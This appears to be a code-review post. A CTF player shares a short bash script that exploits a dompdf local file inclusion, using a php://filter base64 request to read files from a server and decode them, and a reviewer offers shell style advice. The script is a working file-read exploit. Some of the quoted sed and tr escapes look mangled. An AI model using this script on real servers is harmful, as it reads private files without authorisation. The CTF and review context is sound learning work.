Intro

During a CTF I encountered a dompdf LFI vulnerability, which is explained at exploitdb.

However when I executed that vulnerability it gave it to me in PDF form, and it was a pain to constantly (read, strip, and base64 decode) to read the contents of files. So I made a little bash script to do these things automatically.

I am happy with the result, but I thought there maybe was a way to resolve those double sed into one Regex capture. It works because the [( ... )] is unique in the resulting string.

Code

#!/bin/bash
if [ -z "$1" ] || [ -z "$2" ]; then
 echo "Usage ./read_dompdf [url_to_dompdf] [path/to/file]"; exit
fi
URL="$1/dompdf.php?input_file=php://filter/convert.base64-encode/resource=$2"
echo `curl --silent $URL` | sed 's/.*[(//' | sed 's/)].*//' | base64 -d

Input validation

I find this an unusual way to validate script parameters:

if [ -z "$1" ] || [ -z "$2" ]; then

It's more common to verify that there are exactly two parameters:

if [ $# != 2 ]; then

Note that this is not exactly the same as the original.
The original verifies that neither $1 and $2 is empty,
and it silently allows more than 2 parameters.

Why echo a sub-shell?

What is the purpose of this echo:

echo `curl --silent $URL`

Instead of simply:

curl --silent $URL

If the purpose is to join multiple lines into one, I would use tr instead:

curl --silent "$URL" | tr -d 'n'
# or
curl --silent "$URL" | tr 'n' ' '

Writing this way make the intention more clear.
Another advantage is streamlined processing.
Note also that I added double-quotes around the $URL used as command parameter, as a good rule of thumb to protect from unexpected word splitting and globbing.

One sed to rule them all

Instead of this:

sed 's/.*[(//' | sed 's/)].*//'

You can do multiple expressions with a single sed using multiple -e parameters:

sed -e 's/.*[(//' -e 's/)].*//'

I use the -e even with single expressions,
for maximum clarity.